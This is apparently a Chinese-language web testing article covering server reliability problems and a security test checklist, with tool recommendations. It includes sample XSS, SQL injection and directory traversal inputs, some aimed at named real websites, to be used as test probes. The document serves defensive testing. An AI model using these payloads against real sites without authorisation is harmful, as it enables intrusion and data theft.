用C或C++編寫的程序，如Web服務器API模塊，有可能致使系統的崩潰，由於只要間接引用指針（即，訪問指向的內存）中出現一個錯誤，就會致使操 做系統終止全部程序。另外，使用了糟糕的C指針的Java模擬量（analog）將訪問一個空的對象引用。Java中的空引用一般不會致使馬上退出 JVM，可是前提是程序員可以使用異常處理方法恰當地處理錯誤。在這方面，Java無需過多的關注，但使用 Java對可靠性進行額外的度量則會對性能產生一些負面影響。
內存泄漏
C/C++程序還可能產生另外一個指針問題：丟失對已分配內存的引用。當內存是在子程序中被分配時，一般會出現這種問題，其結果是程序從子程序中返回時 不會釋放內存。如此一來，對已分配的內存的引用就會丟失，只要操做系統還在運行中，則進程就會一直使用該內存。這樣的結果是，曾佔用更多的內存的程序會降 低系統性能，直到機器徹底中止工做，纔會徹底清空內存。
解決方案之一是使用代碼分析工具（如Purify）對代碼進行仔細分析，以找出可能出現的泄漏問題。但這種方法沒法找到由其餘緣由引發的庫中的泄漏，由於庫的源代碼是不可用的。另外一種方法是每隔一段時間，就清除並重啓進程。Apache的Web服務器就會因這個緣由建立和清除子進程。
雖然Java自己並沒有指針，但總的說來，與C程序相比， Java程序使用內存的狀況更加糟糕。在Java中，對象被頻繁建立，而直到全部到對象的引用都消失時，垃圾回收程序纔會釋放內存。即便運行了垃圾回收程 序，也只會將內存還給虛擬機VM，而不是還給操做系統。結果是：Java程序會用光給它們的全部堆，從不釋放。因爲要保存實時（Just InTime，JIT）編譯器產生的代碼，Java程序的大小有時可能會膨脹爲最大堆的數倍之巨。
還有一個問題，狀況與此相似。從鏈接池分配一個數據庫鏈接，而沒法將已分配的鏈接還回給鏈接池。一些鏈接池有活動計時器，在維持一段時間的靜止狀態以後，計時器會釋放掉數據庫鏈接，但這不足以緩解糟糕的代碼快速泄漏數據庫鏈接所形成的資源浪費。
進程缺少文件描述符
若是已爲一臺Web服務器或其餘關鍵進程分配了文件描述符，但它卻須要更多的文件描述符，則服務器或進程會被掛起或報錯，直至獲得了所需的文件描述符 爲止。文件描述符用來保持對開放文件和開放套接字的跟蹤記錄，開放文件和開放套接字是Web服務器很關鍵的組成部分，其任務是將文件複製到網絡鏈接。默認 時，大多數shell有64個文件描述符，這意味着每一個從shell啓動的進程能夠同時打開64個文件和網絡鏈接。大多數shell都有一個內嵌的 ulimit命令能夠增長文件描述符的數目。
線程死鎖
由多線程帶來的性能改善是以可靠性爲代價的，主要是由於這樣有可能產生線程死鎖。線程死鎖時，第一個線程等待第二個線程釋放資源，而同時第二個線程又 在等待第一個線程釋放資源。咱們來想像這樣一種情形：在人行道上兩我的迎面相遇，爲了給對方讓道，兩人同時向一側邁出一步，雙方沒法經過，又同時向另外一側 邁出一步，這樣仍是沒法經過。雙方都以一樣的邁步方式堵住了對方的去路。假設這種狀況一直持續下去，這樣就不難理解爲什麼會發生死鎖現象了。
解決死鎖沒有簡單的方法，這是由於使線程產生這種問題是很具體的狀況，並且每每有很高的負載。大多數軟件測試產生 不了足夠多的負載，因此不可能暴露全部的線程錯誤。在每一種使用線程的語言中都存在線程死鎖問題。因爲使用Java進行線程編程比使用C容易，因此 Java程序員中使用線程的人數更多，線程死鎖也就愈來愈廣泛了。能夠在Java代碼中增長同步關鍵字的使用，這樣能夠減小死鎖，但這樣作也會影響性能。 若是負載太重，數據庫內部也有可能發生死鎖。
若是程序使用了永久鎖，好比鎖文件，並且程序結束時沒有解除鎖狀態，則其餘進程可能沒法使用這種類型的鎖，既不能上鎖，也不能解除鎖。這會進一步致使系統不能正常工做。這時必須手動地解鎖。
服務器超載
NetscapeWeb服務器的每一個鏈接都使用一個線程。NetscapeEnterprise Web服務器會在線程用完後掛起，而不爲已存在的鏈接提供任何服務。若是有一種負載分佈機制能夠檢測到服務器沒有響應，則該服務器上的負載就能夠分佈到其它的 Web服務器上，這可能會導致這些服務器一個接一個地用光全部的線程。這樣一來，整個服務器組都會被掛起。操做系統級別可能還在不斷地接收新的鏈接，而應 用程序（Web服務器）卻沒法爲這些鏈接提供服務。用戶能夠在瀏覽器狀態行上看到connected（已鏈接）的提示消息，但這之後什麼也不會發生。
解決問題的一種方法是將obj.conf參數RqThrottle的值設置爲線程數目之下的某個數值，這樣若是越過RqThrottle的值，就不會接 收新的鏈接。那些不能鏈接的服務器將會中止工做，而鏈接上的服務器的響應速度則會變慢，但至少已鏈接的服務器不會被掛起。這時，文件描述符至少應當被設置 爲與線程的數目相同的數值，不然，文件描述符將成爲一個瓶頸。
數據庫中的臨時表不夠用
許多數據庫的臨時表（cursor）數目都是固定的，臨時表即保留查詢結果的內存區域。在臨時表中的數據都被讀取後，臨時表便會被釋放，但大量同時進行的查詢可能耗盡數目固定的全部臨時表。這時，其餘的查詢就須要列隊等候，直到有臨時表被釋放時才能再繼續運行。
這是一個不容易被程序員發覺的問題，但會在負載測試時顯露出來。但可能對於數據庫管理員（DataBaseAdministrator，DBA）來講，這個問題十分明顯。
此外，還存在一些其餘問題：設置的表空間不夠用、序號限制過低，這些都會致使表溢出錯誤。這些問題代表了一個好的DBA對用於生產的數據庫設置和性能進行按期檢查的重要性。並且，大多數數據庫廠商也提供了監控和建模工具以幫助解決這些問題。
另外，還有許多因素也極有可能致使Web站點沒法工做。如：相關性、子網流量超載、糟糕的設備驅動程序、硬件故障、包括錯誤文件的通配符、無心間鎖住了關鍵的表。
如何作好網站的安全性測試
安全性保護數據以防止不合法用戶故意形成的破壞；
完整性保護數據以防止合法用戶無心中形成的破壞；
安全性測試（security testing）是有關驗證應用程序的安全服務和識別潛在安全性缺陷的過程。
注意：安全性測試並不最終證實應用程序是安全的，而是用於驗證所設立策略的有效性，這些對策是基於威脅分析階段所作的假設而選擇的。
一個完整的WEB安全性測試能夠從部署與基礎結構、輸入驗證、身份驗證、受權、配置管理、敏感數據、會話管理、加密。參數操做、異常管理、審覈和日誌記錄等幾個方面入手。
1.安全體系測試
1)部署與基礎結構
網絡是否提供了安全的通訊
部署拓撲結構是否包括內部的防火牆
部署拓撲結構中是否包括遠程應用程序服務器
基礎結構安全性需求的限制是什麼
目標環境支持怎樣的信任級別
2)輸入驗證
l如何驗證輸入
A.是否清楚入口點
B.是否清楚信任邊界
C.是否驗證Web頁輸入
D.是否對傳遞到組件或Web服務的參數進行驗證
E.是否驗證從數據庫中檢索的數據
F.是否將方法集中起來
G.是否依賴客戶端的驗證
H.應用程序是否易受SQL注入攻擊
I.應用程序是否易受XSS攻擊
l如何處理輸入
3)身份驗證
是否區分公共訪問和受限訪問
是否明確服務賬戶要求
如何驗證調用者身份
如何驗證數據庫的身份
是否強制試用賬戶管理措施
4)受權
如何向最終用戶受權
如何在數據庫中受權應用程序
如何將訪問限定於系統級資源
5)配置管理
是否支持遠程管理
是否保證配置存儲的安全
是否隔離管理員特權
6)敏感數據
是否存儲機密信息
如何存儲敏感數據
是否在網絡中傳遞敏感數據
是否記錄敏感數據
7)會話管理
如何交換會話標識符
是否限制會話生存期
如何確保會話存儲狀態的安全
8)加密
爲什麼使用特定的算法
如何確保加密密鑰的安全性
9)參數操做
是否驗證全部的輸入參數
是否在參數過程當中傳遞敏感數據
是否爲了安全問題而使用HTTP頭數據
10)異常管理
是否使用結構化的異常處理
是否向客戶端公開了太多的信息
11)審覈和日誌記錄
是否明確了要審覈的活動
是否考慮如何流動原始調用這身份
2.應用及傳輸安全
WEB應用系統的安全性從使用角度能夠分爲應用級的安全與傳輸級的安全，安全性測試也能夠從這兩方面入手。
應用級的安全測試的主要目的是查找Web系統自身程序設計中存在的安全隱患，主要測試區域以下。
註冊與登錄：如今的Web應用系統基本採用先註冊，後登陸的方式。
A.必須測試有效和無效的用戶名和密碼
B.要注意是否存在大小寫敏感，
C.能夠嘗試多少次的限制
D.是否能夠不登陸而直接瀏覽某個頁面等。
在線超時：Web應用系統是否有超時的限制，也就是說，用戶登錄必定時間內（例如15分鐘）沒有點擊任何頁面，是否須要從新登錄才能正常使用。
操做留痕：爲了保證Web應用系統的安全性，日誌文件是相當重要的。須要測試相關信息是否寫進入了日誌文件，是否可追蹤。
備份與恢復：爲了防範系統的意外崩潰形成的數據丟失，備份與恢復手段是一個Web系統的必備功能。備份與恢復根據Web系統對安全性的要求能夠 採用多種手段，如數據庫增量備份、數據庫徹底備份、系統徹底備份等。出於更高的安全性要求，某些實時系統常常會採用雙機熱備或多級熱備。除了對於這些備份 與恢復方式進行驗證測試之外，還要評估這種備份與恢復方式是否知足Web系統的安全性需求。
傳輸級的安全測試是考慮到Web系統的傳輸的特殊性，重點測試數據經客戶端傳送到服務器端可能存在的安全漏洞，以及服務器防範非法訪問的能力。通常測試項目包括如下幾個方面。
HTTPS和SSL測試：默認的狀況下，安全HTTP（Soure HTTP）經過安全套接字SSL（Source Socket Layer）協議在端口443上使用普通的HTTP。HTTPS使用的公共密鑰的加密長度決定的HTTPS的安全級別，但從某種意義上來講，安全性的保證 是以損失性能爲代價的。除了還要測試加密是否正確，檢查信息的完整性和確認HTTPS的安全級別外，還要注意在此安全級別下，其性能是否達到要求。
服務器端的腳本漏洞檢查：存在於服務器端的腳本經常構成安全漏洞，這些漏洞又每每被黑客利用。因此，還要測試沒有通過受權，就不能在服務器端放置和編輯腳本的問題。
防火牆測試：防火牆是一種主要用於防禦非法訪問的路由器，在Web系統中是很經常使用的一種安全系統。防火牆測試是一個很大很專業的課題。這裏所涉及的只是對防火牆功能、設置進行測試，以判斷本Web系統的安全需求。
另推薦安全性測試工具：
Watchfire AppScan：商業網頁漏洞掃描器(此工具好像被IBM收購了，因此推薦在第一位)
AppScan按照應用程序開發生命週期進行安全測試，早在開發階段就進行單元測試和安全保證。Appscan可以掃描多種常見漏洞，例如跨網站腳本、HTTP應答切開、參數篡改、隱藏值篡改、後門/調試選項和緩衝區溢出等等。
Acunetix Web Vulnerability Scanner：商業漏洞掃描器
Acunetix WVS自動檢查您的網頁程序漏洞，例如SQL注入、跨網站腳本和驗證頁面弱密碼破解。Acunetix WVS有着很是友好的用戶界面，還能夠生成個性化的網站安全評估報告。
黑盒主要測試點
用戶管理模塊，權限管理模塊，加密系統，認證系統等
工具使用
Appscan（首要）、Acunetix Web Vulnerability Scanner（備用）、HttpAnalyzerFull、TamperIESetup
木桶原理
安全性最低的模塊將成爲瓶頸，需總體提升
（一）可手工執行或工具執行
輸入的數據沒有進行有效的控制和驗證
用戶名和密碼
直接輸入須要權限的網頁地址能夠訪問
上傳文件沒有限制（這次不須要）
不安全的存儲
操做時間的失效性
1.1）輸入的數據沒有進行有效的控制和驗證
數據類型（字符串，整型，實數，等）
容許的字符集
最小和最大的長度
是否容許空輸入
參數是不是必須的
重複是否容許
數值範圍
特定的值（枚舉型）
特定的模式（正則表達式）（注：建議儘可能採用白名單）
1.22）用戶名和密碼-2
檢測接口程序鏈接登陸時，是否須要輸入相應的用戶
是否設置密碼最小長度（密碼強度）
用戶名和密碼中是否能夠有空格或回車？
是否容許密碼和用戶名一致
防惡意註冊：能否用自動填表工具自動註冊用戶？ （傲遊等）
遺忘密碼處理
有完好省的超級用戶?（admin等，關鍵字需屏蔽）
有無超級密碼?
是否有校驗碼？
密碼錯誤次數有無限制？
大小寫敏感？
口令不容許以明碼顯示在輸出設備上
強制修改的時間間隔限制（初始默認密碼）
口令的惟一性限制（看需求是否須要）
口令過時失效後，是否能夠不登錄而直接瀏覽某個頁面
哪些頁面或者文件須要登陸後才能訪問/下載
cookie中或隱藏變量中是否含有用戶名、密碼、userid等關鍵信息
1.3）直接輸入須要權限的網頁地址能夠訪問
避免研發只是簡單的在客戶端不顯示權限高的功能項
舉例Bug：
沒有登陸或註銷登陸後，直接輸入登陸後才能查看的頁面的網址（含跳轉頁面），能直接打開頁面；
註銷後，點瀏覽器上的後退，能夠進行操做。
正常登陸後，直接輸入本身沒有權限查看的頁面的網址，能夠打開頁面。
經過Http抓包的方式獲取Http請求信息包經改裝後從新發送
從權限低的頁面能夠退回到高的頁面（如發送消息後，瀏覽器後退到信息填寫頁面，這就是錯誤的）
1.4）上傳文件沒有限制（這次不須要）
傳文件還要有大小的限制。
上傳木馬病毒等（每每與權限一塊兒驗證）
上傳文件最好要有格式的限制；
1.5）不安全的存儲
在頁面輸入密碼，頁面應顯示 「*****」；
數據庫中存的密碼應通過加密；
地址欄中不能夠看到剛纔填寫的密碼；
右鍵查看源文件不能看見剛纔輸入的密碼；
賬號列表：系統不該該容許用戶瀏覽到網站全部的賬號，若是必需要一個用戶列表，推薦使用某種形式的假名（屏幕名）來指向實際的賬號
1.6）操做時間的失效性
檢測系統是否支持操做失效時間的配置，同時達到所配置的時間內沒有對界面進行任何操做時，檢測系統是否會將用戶自動失效，須要從新登陸系統。
支持操做失效時間的配置。
支持當用戶在所配置的時間內沒有對界面進行任何操做則該應用自動失效。
如，用戶登錄後在必定時間內（例如15 分鐘）沒有點擊任何頁面，是否須要從新登錄才能正常使用。
（二）藉助工具或瞭解後手工來進行測試
不能把數據驗證寄但願於客戶端的驗證
不安全的對象引用，防止XSS攻擊
注入式漏洞（SQL注入）
傳輸中與存儲時的密碼沒有加密 ，不安全的通訊
目錄遍歷
2.1）不能把數據驗證寄但願於客戶端的驗證
避免繞過客戶端限制（如長度、特殊字符或腳本等），因此在服務器端驗證與限制
客戶端是不安全，重要的運算和算法不要在客戶端運行。
Session與cookie
例：保存網頁並對網頁進行修改，使其繞過客戶端的驗證。
（如只能選擇的下拉框，對輸入數據有特殊要求的文本框）
還能夠查看cookie中記錄，僞造請求
測試中，可以使用TamperIESetup來繞過客戶端輸入框的限制
2.21）不安全的對象引用，防止XSS等攻擊
阻止帶有語法含義的輸入內容，防止Cross Site Scripting (XSS) Flaws 跨站點腳本攻擊（XSS）
防止Cross-site request forgery（CSRF）跨站請求僞造
xss解釋：不可信的內容被引入到動態頁面中，沒有識別這種狀況並採起保護措施。攻擊者可在網上提交能夠完成攻擊的腳本，普通用戶點擊了網頁上這些 攻擊者提交的腳本，那麼就會在用戶客戶機上執行，完成從截獲賬戶、更改用戶設置、竊取和篡改 cookie 到虛假廣告在內的種種攻擊行爲
測試方法：在輸入框中輸入下列字符，可直接輸入腳原本看
HTML標籤：<…>…</…>
轉義字符：&(&)；<(<)；>(>)； (空格) ；
腳本語言：<script>alert(document.cookie);</script>
特殊字符：‘ ’ <>/
最小和最大的長度
是否容許空輸入
對Grid、Label、Tree view類的輸入框未做驗證，輸入的內容會按照html語法解析出來，要控制腳本注入的語法要素。好比：javascript離不開：「<」、「>」、「(」、「）」、「;」. 在輸入或輸出時對其進行字符過濾或轉義處理
2.23）注入式漏洞（SQL注入）
對數據庫等進行注入攻擊。
例：一個驗證用戶登錄的頁面，
若是使用的sql語句爲：
Select * from table A
where username＝’’ + username+’’ and pass word …..
則在Sql語句後面輸入 ‘ or 1＝1 ―― 就能夠不輸入任何password進行攻擊
SELECT count(*)
FROM users
WHERE username='a' or 'a'='a' AND password='a' or 'a'='a'
(資料太多，不顯示了此處，藉助工具Appscan等吧)
2.24）傳輸中與存儲時的密碼沒有加密
利用ssl來進行加密，在位於HTTP層和TCP層之間，創建用戶與服務器之間的加密通訊
進入一個SSL站點後，能夠看到瀏覽器出現警告信息，而後地址欄的http變成https （特色肯定）
證書認證
————————————————————————
檢查數據庫中的用戶密碼、管理者密碼等字段是不是以加密方式保存。
存儲數據庫單獨隔離，有備份的數據庫，權限惟一
2.25）目錄遍歷
舉例：
http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder
那如今把這個ＵＲＬ改裝一下：
http://love.ah163.net/Personal_S ... /local/apache/conf/
/usr/local/apache/conf/裏的全部文件都出來了
簡要的解決方案:
１、限制Web應用在服務器上的運行 ，格設定WEB服務器的目錄訪問權限
２、進行嚴格的輸入驗證，控制用戶輸入非法路徑，如在每一個目錄訪問時有index.htm
（三）研發或使用工具才能進行
認證和會話數據不能做爲GET的一部分來發送
隱藏域與CGI參數
不恰當的異常處理
不安全的配置管理
緩衝區溢出
拒絕服務
日誌完整性、可審計性與可恢復性
3.1）Get or post
認證和會話數據不該該做爲GET的一部分來發送，應該使用POST
例：對Grid、Label、Tree view類的輸入框未做驗證，輸入的內容會按照html語法解析出來
可以使用TamperIESetup或ScannerHttpAnalyzerFull來判斷
3.2）隱藏域與CGI參數
Bug舉例：
分析：隱藏域中泄露了重要的信息，有時還能夠暴露程序原代碼。
直接修改CGI參數，就能繞過客戶端的驗證了。
如：<inputtype="hidden" name="h" value="http://XXX/checkout.php">
只要改變value的值就可能會把程序的原代碼顯示出來。
如大小寫，編碼解碼，附加特殊字符或精心構造的特殊請求等均可能致使CGI源代碼泄露
可以使用appscan或sss等來檢測，檢查特殊字符集
3.3）不恰當的異常處理
分析：程序在拋出異常的時候給出了比較詳細的內部錯誤信息，暴露了不該該顯示的執行細節，網站存在潛在漏洞，有可能會被攻擊者分析出網絡環境的結構或配置
一般爲其餘攻擊手段的輔助定位方式
舉例：如www.c**w.com ，搜索爲空時，，數據庫顯示出具體錯誤位置，可進行sql注入攻擊或關鍵字猜想攻擊
3.4）不安全的配置管理
分析：Config中的連接字符串以及用戶信息，郵件，數據存儲信息都須要加以保護
配置全部的安全機制，
關掉全部不使用的服務，
設置角色權限賬號，
使用日誌和警報。
手段：用戶使用緩衝區溢出來破壞web應用程序的棧，經過發送特別編寫的代碼到web程序中，攻擊者可讓web應用程序來執行任意代碼
例：數據庫的賬號是否是默認爲「sa」，密碼（還有端口號）是否是直接寫在配置文件裏而沒有進行加密。
3.5）緩衝區溢出
WEB服務器沒有對用戶提交的超長請求沒有進行合適的處理，這種請求可能包括超長URL，超長HTTP Header域，或者是其它超長的數據
使用相似於「strcpy()，strcat()」不進行有效位檢查的函數，惡意用戶編寫一小段程序來進一步打開安全缺口，而後將該代碼放在緩衝區有效載荷末尾，這樣，當發生緩衝區溢出時，返回指針指向惡意代碼
用戶使用緩衝區溢出來破壞web應用程序的棧，經過發送特別編寫的代碼到web程序中，攻擊者可讓web應用程序來執行任意代碼。
如apach緩衝區溢出等錯誤，第三方軟件也需檢測
3.6）拒絕服務
手段：超長URL，特殊目錄，超長HTTP Header域，畸形HTTP Header域或者是DOS設備文件
分析：攻擊者能夠從一個主機產生足夠多的流量來耗盡狠多應用程序，最終使程序陷入癱瘓。須要作負載均衡來對付。
詳細如：死亡之ping、淚滴（Teardorop）、 UDP洪水（UDP Flood）、 SYN洪水（SYN Flood）、 Land攻擊、Smurf攻擊、Fraggle攻擊、 畸形消息攻擊
3.7）日誌完整性。可審計性與可恢復性
服務器端日誌：檢測系統運行時是否會記錄完整的日誌。
如進行詳單查詢，檢測系統是否會記錄相應的操做員、操做時間、系統狀態、操做事項、IP地址等
檢測對系統關鍵數據進行增長、修改和刪除時，系統是否會記錄相應的修改時間、操做人員和修改前的數據記錄。
工具篇
Watchfire Appscan——全面自動測試工具
Acunetix Web Vulnerability ——全面自動測試工具
ScannerHttpAnalyzerFull——加載網頁時可判斷
TamperIESetup——提交表單時改造數據
注：上述工具最好安裝在虛擬機中，不影響實際機環境
Appscan、 Web Vulnerability 需安裝.net framework，可能與sniffer衝突
ScannerHttpAnalyzerFul與TamperIESetup會影響實際機瀏覽器平時的功能測試
http://searchbox.mapbar.com/publish/template/template1010 /?CID=qingke&tid=tid1010&cityName=天津<script> alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX
- 5. 跨站請求僞造（CSRF）
同個瀏覽器打開兩個頁面，一個頁面權限失效後，另外一個頁面是否可操做成功。
當頁面沒有CHECKCODE時，查看頁面源代碼，查是是否有token。若是頁面徹底是展現頁面，是不會有token的。